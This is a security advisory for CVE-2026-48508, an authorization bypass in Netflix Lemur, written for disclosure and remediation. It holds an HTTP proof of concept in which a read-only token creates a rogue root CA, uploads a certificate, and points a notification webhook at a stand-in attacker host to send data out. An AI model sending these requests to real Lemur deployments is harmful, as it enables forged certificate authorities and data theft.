high · 8.8CVE-2026-48508Jun 25, 2026

CVE-2026-48508: Lemur Authorization Bypass via Empty Flask-Principal Need Set

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A read-only user in Netflix Lemur can create root Certificate Authorities, upload arbitrary certificates, and manipulate notifications because two permission classes default to an empty Need set that

Packagelemur
Ecosystempip
Affected<= 1.9.0
Fixed in1.9.1
CVE-2026-48508: Lemur Authorization Bypass via Empty Flask-Principal Need Set

The problem

Both `StrictRolePermission` and `AuthorityCreatorPermission` in `lemur/auth/permissions.py` call `flask_principal.Permission.__init__()` with zero arguments when their config flags are unset. Because both flags defaulted to `False`, this was the state of every default Lemur install.

Flask-Principal's `Permission.allows()` short-circuits to `True` whenever `self.needs` is empty. The `.can()` gate therefore passes for every authenticated identity, including the `read-only` role. The parent class `AuthenticatedResource` only checks that a token exists, so this permission check is the sole authorization layer in front of the affected endpoints.

Proof of concept

http
# Attacker holds only a valid read-only JWT/session token.
# Default install: ADMIN_ONLY_AUTHORITY_CREATION and LEMUR_STRICT_ROLE_ENFORCEMENT are both False.

# 1. Create a root CA as a read-only user
POST /api/1/authorities HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json

{
  "name": "attacker-root-ca",
  "owner": "attacker@corp.com",
  "description": "rogue root",
  "commonName": "Attacker Root CA",
  "type": "root",
  "keyType": "RSA2048",
  "signingAlgorithm": "SHA256WithRSA",
  "validityYears": 10
}

# 2. Create/hijack a notification (SSRF sink) as a read-only user
POST /api/1/notifications HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json

{
  "label": "exfil",
  "plugin": {"slug": "slack-notification"},
  "options": [{"name": "webhook", "value": "https://attacker.example/collect"}],
  "certificates": []
}

# 3. Upload an attacker-controlled certificate
POST /api/1/certificates/upload HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json

{
  "owner": "attacker@corp.com",
  "body": "<PEM_CERT>",
  "privateKey": "<PEM_KEY>",
  "chain": ""
}

The root cause is that `Permission.__init__(*needs)` with no arguments produces `self.needs = set()`. Flask-Principal's `allows()` guard reads `if self.needs and not self.needs.intersection(identity.provides)`, so an empty set makes the condition falsy and the check is skipped entirely, returning `True` for any caller.

The patch changed the default value of the `config.get(...)` second argument from `False` to `True` for both flags, so the `if requires_admin / if strict_role_enforcement` branch now fires on unconfigured installs and passes real `RoleNeed` objects to `super().__init__()`.

A subsequent corrected release went further: `StrictRolePermission` now explicitly denies identities that carry the `read-only` role regardless of flag value, closing the opt-out path.

CWE-863 (Incorrect Authorization): the permission object is constructed but its Need set is empty, so authorization logic never actually evaluates the caller's role.

The fix

Upgrade to Lemur 1.9.1 (initial fix) or the subsequent corrected release. Do not explicitly set `ADMIN_ONLY_AUTHORITY_CREATION = False` or `LEMUR_STRICT_ROLE_ENFORCEMENT = False` in your config, as doing so reintroduces the empty-Need bypass. The safest posture is to leave both flags unset so the new secure defaults apply.

Reporter not attributed.

References: [1][2]